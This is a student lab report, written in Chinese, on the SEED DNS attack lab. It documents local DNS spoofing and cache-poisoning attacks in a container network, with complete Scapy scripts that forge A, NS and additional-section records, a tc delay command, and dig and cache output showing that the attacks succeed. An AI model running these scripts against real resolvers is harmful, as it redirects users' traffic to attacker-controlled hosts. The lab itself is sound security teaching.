Testing the DNS Setup：

在用户容器中，我们将运行一系列命令，以确保实验室设置正确。请在实验室报告中记录您的测试结果。

Get the IP address of ns.attacker32.com.

在用户容器上使用 dig 指令查询 ns.attacker32.com 地址：

```
root@9b8fa2b25b8a:/#  dig ns.attacker32.com

; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 62174
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 079d5131d36db0040100000060f8477a695fa22c4e442622 (good)
;; QUESTION SECTION:
;ns.attacker32.com.             IN      A

;; ANSWER SECTION:
ns.attacker32.com.      259200  IN      A       10.9.0.153

;; Query time: 12 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Jul 21 16:12:42 UTC 2021
;; MSG SIZE  rcvd: 90
```

```
$TTL 3D
@       IN      SOA   ns.attacker32.com. admin.attacker32.com. (
                2008111001
                8H
                2H
                4W
                1D)

@       IN      NS    ns.attacker32.com.

@       IN      A     10.9.0.180
www     IN      A     10.9.0.180
ns      IN      A     10.9.0.153
*       IN      A     10.9.0.100
```

查询到的 IP 地址为 10.9.0.153，与配置文件中记录的一致，环境配置正确。

Get the IP address of www.example.com.

再使用 dig 指令查询 www.example.com 的地址：

```
root@9b8fa2b25b8a:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33855
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 61e03912c27d2e8c0100000060f847f6e0f1279d7cc6cba6 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        86400   IN      A       93.184.216.34

;; Query time: 3168 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Jul 21 16:14:46 UTC 2021
;; MSG SIZE  rcvd: 88
```

```
root@9b8fa2b25b8a:/#  dig @ns.attacker32.com www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 64859
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: c5ba692ca078d0440100000060f848112fc833f22479dc27 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 0 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Wed Jul 21 16:15:13 UTC 2021
;; MSG SIZE  rcvd: 88
```

可以观察到两个命令得到的 ip 地址不同，第一个命令直接从官方域名服务器获取信息，而第二个是从攻击者得到了假的结果，

Task 1: Directly Spoofing Response to User

当用户在 web 浏览器中键入网站的名称（主机名，如 www.example.com）时，用户的计算机将向本地 DNS 服务器发送 DNS 请求，以解析主机名的 IP 地址。攻击者可以嗅探 DNS 请求消息，然后他们可以立即创建一个假的 DNS 响应，并发送回用户计算机。如果假回复比真实回复更早到达，它将被用户机器接受。

攻击程序如下：

```
from scapy.all import *
import sys
NS_NAME = "example.com"
def spoof_dns(pkt):
    if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
        print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

       ip = IP(dst=pkt[IP].src, src=pkt[IP].dst) # Create an IP object

       udp = UDP(dport=pkt[UDP].sport, sport=53) # Create a UPD object

       Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='10
               .0.2.5') # Create an aswer record

       dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,
              ancount=1, nscount=0, arcount=0,an=Anssec) # Create a DNS object

       spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet

       send(spoofpkt)

myFilter = 'udp and src host 10.9.0.5 and dst port 53' # Set the filter
pkt=sniff(iface='br-d92f2f78fba9', filter=myFilter, prn=spoof_dns)
"task1.py" 22L, 944C                                          22,32         Bot
```

为防止真正的 DNS 响应比我们伪造的 DNS 响应先到达用户，我们在路由器上增加输出网络流量 100ms 延迟，

```
root@7a795fc9f530:/#  tc qdisc add dev eth0 root netem delay 100ms
root@7a795fc9f530:/# tc qdisc show dev eth0
qdisc netem 8001: root refcnt 2 limit 1000 delay 100.0ms
root@7a795fc9f530:/#
```

攻击前执行用户容器上执行 dig 指令查询 www.example.com 的地址：

```
root@9b8fa2b25b8a:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 8889
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 51aa2482caa7685b0100000060f852530a09e00d303e03b5 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        83747   IN      A       93.184.216.34

;; Query time: 0 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Jul 21 16:58:59 UTC 2021
;; MSG SIZE  rcvd: 88
```

清空本地 DNS 服务器缓存：

```
root@a495530a65c4:/# rndc flush
root@a495530a65c4:/#
```

执行攻击程序进行攻击，同时在用户容器执行 dig 指令：

```
root@9b8fa2b25b8a:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29306
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       10.0.2.5

;; Query time: 64 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Jul 21 17:29:53 UTC 2021
;; MSG SIZE  rcvd: 64
```

```
^Croot@VM:/volumes# python3 task1.py
 10.9.0.5 --> 10.9.0.53: 29306
.
Sent 1 packets.
```

可以观察到，查询到的地址被更改为 10.0.2.5，攻击者容器端显示发送数据包，攻击成功。

关闭攻击程序后，再次执行 dig 指令：

```
root@9b8fa2b25b8a:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 13286
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: f6bac86a16a366e30100000060f859cc082b7b15226e649f (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        86344   IN      A       93.184.216.34

;; Query time: 0 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Jul 21 17:30:52 UTC 2021
;; MSG SIZE  rcvd: 88
```

可以观察到查询到的地址又恢复了，攻击失效。

Task 2: DNS Cache Poisoning Attack – Spoofing Answers

上述攻击是针对用户的机器。为了实现持久的效果，每次用户的机器为 www.example.com 发送一个 DNS 查询时，攻击者的机器都必须发送一个伪造的 DNS 响应。这可能不那么有效；有一种更好的方法是针对 DNS 服务器而不是用户的计算机来进行攻击。

当本地 DNS 服务器接收到查询时，它首先从自己的缓存中查找答案；如果答案存在，DNS 服务器只需用其缓存中的信息进行答复。如果答案不在缓存中，DNS 服务器将尝试从其他 DNS 服务器获取答案。当它得到答案时，它将把答案存储在缓存中，所以下次，不需要询问其他 DNS 服务器。

因此，如果攻击者可以欺骗来自其他 DNS 服务器的响应，则本地 DNS 服务器将在一定时间内在其缓存中保留欺骗响应。下次，当用户的计算机想要解析相同的主机名时，它将从缓存中得到幽灵响应。这样，攻击者只需欺骗一次，并且影响将持续到缓存的信息过期为止。此攻击称为 DNS 缓存中毒。

更改 task1 中程序的过滤器如下所示：

```
myFilter = 'udp and dst port 53' # Set the filter
```

再次执行攻击程序进行攻击，同时执行 dig 指令：

```
root@9b8fa2b25b8a:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 3143
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       10.0.2.5

;; Query time: 56 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Jul 21 17:35:45 UTC 2021
;; MSG SIZE  rcvd: 64
```

停止程序后，再次执行 dig 指令：

```
root@9b8fa2b25b8a:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4407
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 9b1b3fbb351f77ec0100000060f85b20ba0848f95d0d3113 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259153  IN      A       10.0.2.5

;; Query time: 0 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Jul 21 17:36:32 UTC 2021
;; MSG SIZE  rcvd: 88
```

两次 dig 指令的结果相同，查询到的地址都被替换为 10.0.2.5，停止攻击程序

后攻击仍然成功。

查询本地 DNS 服务器缓存：

```
; authanswer
_.example.com.          863870  A       10.0.2.5
; authanswer
www.example.com.        863870  A       10.0.2.5
```

可以发现本地 DNS 服务器的缓存中增加了对应条目，证明缓存中毒攻击成功。

Task 3: Spoofing NS Records

在上一个任务中，我们的 DNS 缓存中毒攻击只影响一个主机名，即 www.example.com. 如果用户试图获取另一个主机名的 IP 地址，如 mail.example.com，我们需要再次启动攻击。如果我们启动一个可能影响整个 example.com 域的攻击，它将会更有效。

请在攻击代码中添加欺骗的 NS 记录，并启动攻击。第 4 节有一个示例，说明如何在 DNS 响应数据包中包含 NS 记录。种子工程师手册中提供了详细的指南。在执行攻击之前，请记住先清除本地 DNS 服务器上的缓存。如果攻击成功，则当您在用户计算机上为 example.com 域中的任何主机名运行 dig 命令时，您将得到 ns.attacker32.com.提供的假 IP 地址还请检查本地 DNS 服务器上的缓存，并查看监视的 NS 记录是否在缓存中。

代码中增加了一条 NS 记录内容，因此令 nscount=1，让 example.com 域名下的地址都指向 ns.attacker32.com 域名。攻击程序如下所示：

```python
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"
def spoof_dns(pkt):
    if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):

        print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

        ip = IP(dst=pkt[IP].src, src=pkt[IP].dst) # Create an IP object

        udp = UDP(dport=pkt[UDP].sport, sport=53) # Create a UPD object

        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200,
                rdata='10.0.2.5') # Create an aswer record

        NSsec1=DNSRR(rrname='example.com',type='NS',ttl=259200,
                rdata='ns.attacker32.com')

        dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=1, arcount=0,an=Anssec,
                ns=NSsec1) # Create a DNS object

        spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet

        send(spoofpkt)

myFilter = 'udp and dst port 53' # Set the filter
pkt=sniff(iface='br-d92f2f78fba9', filter=myFilter, prn=spoof_dns)
```

使用攻击程序攻击，同时执行 dig 指令，查询到的地址为 ns.attacker32.com：

```
root@9b8fa2b25b8a:/# dig example.com

; <<>> DiG 9.16.1-Ubuntu <<>> example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 23350
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;example.com.                   IN      A

;; ANSWER SECTION:
example.com.            259200  IN      A       10.0.2.5

;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.attacker32.com.

;; Query time: 60 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Jul 21 17:47:24 UTC 2021
;; MSG SIZE  rcvd: 98
```

停止攻击程序后。查询到的地址为 1.2.3.6，与配置文件相同，证明攻击成功：

```
root@9b8fa2b25b8a:/# dig aaa.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> aaa.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 55625
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 5c700d44ec90a7570100000060f85e0d0f276545659be288 (good)
;; QUESTION SECTION:
;aaa.example.com.               IN      A

;; ANSWER SECTION:
aaa.example.com.        259200  IN      A       1.2.3.6

;; Query time: 4 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Jul 21 17:49:01 UTC 2021
;; MSG SIZE  rcvd: 88
```

```
 1 $TTL 3D
 2 @       IN      SOA   ns.example.com. admin.example.com. (
 3                       2008111001
 4                       8H
 5                       2H
 6                       4W
 7                       1D)
 8
 9 @       IN      NS    ns.attacker32.com.
10
11 @       IN      A     1.2.3.4
12 www     IN      A     1.2.3.5
13 ns      IN      A     10.9.0.153
14 *       IN      A     1.2.3.6
```

查询本地 DNS 缓存，可以观察到增加了一条 NS 条目，证明攻击成功：

```
; answer
ns.attacker32.com.      615333  \-AAAA  ;-$NXRRSET
; attacker32.com. SOA ns.attacker32.com. admin.attacker32.com. 2008111001 28800 7200 2419200 86400
; authanswer
                        863733  A       10.9.0.153
; authauthority
example.com.            863637  NS      ns.attacker32.com.
; authanswer
                        863637  A       10.0.2.5
; authanswer
aaa.example.com.        863733  A       1.2.3.6
```

Task 4: Spoofing NS Records for Another Domain

在之前的攻击中，我们成功地毒害了本地 DNS 服务器的缓存，因此 ns.attacker32.com 成为了 example.com 域的命名服务器。受这次成功的启发，我们希望将其影响扩展到其他领域。也就是说，在由 www.example.com 查询触发的欺骗响应中，我们希望在权限部分中添加附加条目（参见以下内容），所以 ns.attacker32.com 也被用作 google.com.的命名服务器。

请稍微修改攻击代码，以便在本地 DNS 服务器上启动上述攻击。攻击发生后，检查 DNS 缓存并查看已缓存的记录。请描述和解释您的观察结果。应该注意的是，我们正在攻击的查询仍然是对 example.com 的查询，而不是对 google.com.的查询。

在攻击程序中增加两条 NS 条目，代码如下所示：

```
import sys
NS_NAME = "example.com"
def spoof_dns(pkt):
    if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):

        print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

        ip = IP(dst=pkt[IP].src, src=pkt[IP].dst) # Create an IP object

        udp = UDP(dport=pkt[UDP].sport, sport=53) # Create a UPD object

        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200,
                rdata='10.0.2.5') # Create an aswer record

        NSsec1=DNSRR(rrname='example.com',type='NS',ttl=259200,
                rdata='ns.attacker32.com')

        NSsec2=DNSRR(rrname='google.com',type='NS',ttl=259200,
                rdata='ns.attacker32.com')

        dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=2, arcount=0,an=Anssec,
                ns=NSsec1/NSsec2) # Create a DNS object

        spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet

        send(spoofpkt)

myFilter = 'udp and dst port 53' # Set the filter
pkt=sniff(iface='br-d92f2f78fba9', filter=myFilter, prn=spoof_dns)
```

执行程序进行攻击：

```
root@9b8fa2b25b8a:/# dig example.com

; <<>> DiG 9.16.1-Ubuntu <<>> example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 5217
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 0

;; QUESTION SECTION:
;example.com.                   IN      A

;; ANSWER SECTION:
example.com.            259200  IN      A       10.0.2.5

;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.attacker32.com.
google.com.             259200  IN      NS      ns.attacker32.com.

;; Query time: 84 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Jul 21 17:59:09 UTC 2021
;; MSG SIZE  rcvd: 139
```

查询本地 DNS 缓存，发现只增加了一条 NS 条目为 NSsec1：

```
; authauthority
example.com.            863954  NS      ns.attacker32.com.
```

交换 NSsec1 和 NSsec2 的拼接顺序，再次攻击：

```
dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=2, arcount=0,an=Anssec,
        ns=NSsec2/NSsec1) # Create a DNS object
```

可以观察到增加的条目变为 NSsec2：

```
; authanswer
example.com.            863996  A       10.0.2.5
; authauthority
google.com.             863996  NS      ns.attacker32.com.
```

由此推断本地 DNS 服务器可能只能保存一条 NS 条目，且为第一条 NS 条目，具体原因机制不清楚。

Task 5: Spoofing Records in the Additional Section

在 DNS 答复中，有一个称为“附加部分”的部分，用于提供附加信息。实际上，它主要用于为某些主机名提供 IP 地址，特别是为那些出现在权威部分中的主机名。此任务的目标是欺骗本节中的某些条目，并查看目标本地 DNS 服务器是否将成功缓存它们。

```
;; ADDITIONAL SECTION:
ns.attacker32.com.      259200  IN   A    1.2.3.4   ①
ns.example.net.         259200  IN   A    5.6.7.8   ②
www.facebook.com.       259200  IN   A    3.4.5.6   ③
```

条目①和②与权限部分中的主机名相关。条目③与回复中的任何条目都完全无关，但它为用户提供了“亲切”的帮助，因此他们不需要查找脸书的 IP 地址。请使用 Scapy 来欺骗这样的 DNS 回复。您的工作是报告哪些项目将被成功缓存，以及哪些项目将不会被缓存；请解释原因。

程序中所需增加的条目，代码修改如下：

```
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='10.0.2.5')

Arsec1 = DNSRR(rrname='ns.attacker32.com', type='A',ttl=259200, rdata='1.2.3.4')

Arsec2 = DNSRR(rrname='ns.example.com', type='A',ttl=259200, rdata='5.6.7.8')

Arsec3 = DNSRR(rrname='www.facebook.com', type='A',ttl=259200, rdata='3.4.5.6')

NSsec1=DNSRR(rrname='example.com',type='NS',ttl=259200,
        rdata='ns.attacker32.com')

NSsec2=DNSRR(rrname='example.com',type='NS',ttl=259200,
        rdata='ns.example.com')

dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=2, arcount=3, an=Anssec,
        ns=NSsec1/NSsec2, ar=Arsec1/Arsec2/Arsec3) # Create a DNS object
```

执行程序进行攻击：

```
root@9b8fa2b25b8a:/# dig example.com

; <<>> DiG 9.16.1-Ubuntu <<>> example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 25280
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3

;; QUESTION SECTION:
;example.com.                   IN      A

;; ANSWER SECTION:
example.com.            259200  IN      A       10.0.2.5

;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.attacker32.com.
example.com.            259200  IN      NS      ns.example.com.

;; ADDITIONAL SECTION:
ns.attacker32.com.      259200  IN      A       1.2.3.4
ns.example.com.         259200  IN      A       5.6.7.8
www.facebook.com.       259200  IN      A       3.4.5.6

;; Query time: 76 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Jul 21 18:22:24 UTC 2021
;; MSG SIZE  rcvd: 232
```

查询本地 DNS 缓存如下所示：

```
; additional
ns.attacker32.com.      863969  A       1.2.3.4
; authauthority
example.com.            863969  NS      ns.example.com.
                        863969  NS      ns.attacker32.com.
; authanswer
                        863969  A       10.0.2.5
; additional
ns.example.com.         863969  A       5.6.7.8
```

可以观察到，只增加 attack32.com 和 ns.example.net 的缓存条目，而没有 www.facebook.com 的条目。对比可以发现，附加字段 additional 中的记录只有与 authority 中条目相关，才会存入到 dns 的缓存中。